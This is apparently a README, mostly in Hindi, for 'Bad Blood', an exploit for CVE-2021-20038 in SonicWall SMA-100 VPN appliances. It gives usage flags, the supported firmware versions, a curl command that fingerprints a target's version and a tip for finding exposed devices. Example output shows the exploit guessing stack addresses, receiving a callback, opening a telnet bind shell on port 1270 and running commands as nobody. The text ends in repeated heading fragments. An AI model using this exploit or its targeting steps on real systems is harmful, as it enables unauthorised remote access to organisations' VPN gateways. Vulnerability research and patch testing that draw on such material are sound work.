बैड ब्लड

बैड ब्लड CVE-2021-20038 के लिए एक एक्सप्लॉइट है, जो फर्मवेयर संस्करण 10.2.1.x का उपयोग करने वाले SMA-100 सीरीज़ सिस्टम के httpd बाइनरी में एक स्टैक-आधारित बफर ओवरफ्लो है। मैंने यहाँ कई तकनीकी विवरण लिखे हैं:

AttackerKB CVE-2021-20038

एक्सप्लॉइट, जैसा लिखा गया है, पोर्ट 1270 पर एक टेलनेट बाइंड शेल खोलेगा। शेल से जुड़ने वाला हमलावर nobody के रूप में निष्पादन प्राप्त करेगा।

उदाहरण आउटपुट```

albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 01:15:12 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

## समर्थित संस्करण

| संस्करण | समर्थित | परीक्षण किया गया | परीक्षण लक्ष्य |
| - | - | - | - |
| 10.2.1.2-24sv | हाँ | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | हाँ | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | हाँ | :heavy_check_mark: | SMA 500v ESX |

## उपयोग

न्यूनतम रूप से, आपको निम्न प्रदान करना होगा:

* rhost: रिमोट होस्ट का IP पता
* lhost: लोकल होस्ट का IP पता
* version: लक्ष्य का संस्करण।

अतिरिक्त संदर्भ के लिए कृपया स्थिरता नोट्स पढ़ें।

एक स्पष्ट प्रश्न यह है कि लक्ष्य का संस्करण कैसे प्राप्त करें? लक्ष्य पर एक साधारण `curl` अनुरोध से पता चलेगा कि वे `css` और `js` संस्करण के लिए संस्करण संख्या का उपयोग करते हैं।```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>

CVE-2021-20039 के लिए Metasploit मॉड्यूल इसे पार्स करता है, लेकिन मेरे पास इस एक्सप्लॉइट के लिए ऐसा करने का साहस नहीं था। ध्यान दें कि यदि आप अपने वातावरण में इन चीज़ों को स्कैन कर रहे हैं, तो मुझे लगता है कि "Server: SonicWall SSL-VPN Web Server" सबसे विश्वसनीय है। जनवरी 2022 में लगभग 22k।

सहायता आउटपुट```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

### --addr बनाम --top-addr बनाम कोई विकल्प नहीं

संचालन के तीन मुख्य तरीके हैं। पहला अपेक्षित तरीका है (पता अनुमान लगाना)। दूसरे दो मुख्य रूप से परीक्षण उद्देश्यों के लिए हैं।

#### मुझे कोई पता नहीं पता!

यह डिफ़ॉल्ट स्थिति है और कोई समस्या नहीं है! हम बस बहुत कुछ अनुमान लगाएँगे।

#### मुझे स्टैक के शीर्ष का पता पता है!

बढ़िया! यदि आप cat maps कर सकते हैं या कोई अन्य जादू कर सकते हैं:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0          [stack]

आप --top_addr पैरामीटर का उपयोग कर सकते हैं और हमले का समय घटाकर कुछ ही सेकंड तक ला सकते हैं!``` albinolobster@ubuntu:~~/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:~~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

badblood

सबसे लोकप्रिय

बैड ब्लड

उदाहरण आउटपुट```

सहायता आउटपुट```